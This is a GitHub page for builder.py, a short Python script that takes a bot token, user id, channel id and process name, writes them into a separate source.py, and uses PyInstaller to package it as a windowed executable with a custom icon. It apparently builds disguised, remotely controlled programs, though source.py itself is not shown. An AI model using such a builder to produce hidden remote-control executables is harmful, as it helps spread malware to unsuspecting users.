-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuilder.py
More file actions
49 lines (35 loc) · 1.25 KB
/
builder.py
File metadata and controls
49 lines (35 loc) · 1.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import subprocess
print("remember for icon it only uses .ico format!")
currentpatch = os.getcwd()
iconpatch = rf"{currentpatch}\exampleicon.ico"
print(iconpatch)
# Input values for replacement
token = input("Enter token: ")
userid = input("Enter user id: ")
channelid = input("Enter channel id: ")
processname = input("Process name:")
# Read the content of source.py with UTF-8 encoding
with open("source.py", "r", encoding="utf-8") as source_file:
content = source_file.read()
# Replace placeholders
content = content.replace("TOKEN_HERE", token)
content = content.replace("11111", userid)
content = content.replace("22222", channelid)
# Save the modified content into a new Python file
new_script = f"{processname}.py"
with open(new_script, "w", encoding="utf-8") as new_file:
new_file.write(content)
print(f"{new_script} created successfully.")
command = [
"pyinstaller",
"--onefile",
"--windowed",
f"--icon={iconpatch}",
new_script,
f"--name={processname}"
]
# Convert the new script into an executable using PyInstaller
result = subprocess.run(command, capture_output=True, text=True)
# Clean up PyInstaller temporary files
print(f"{new_script} converted to executable.")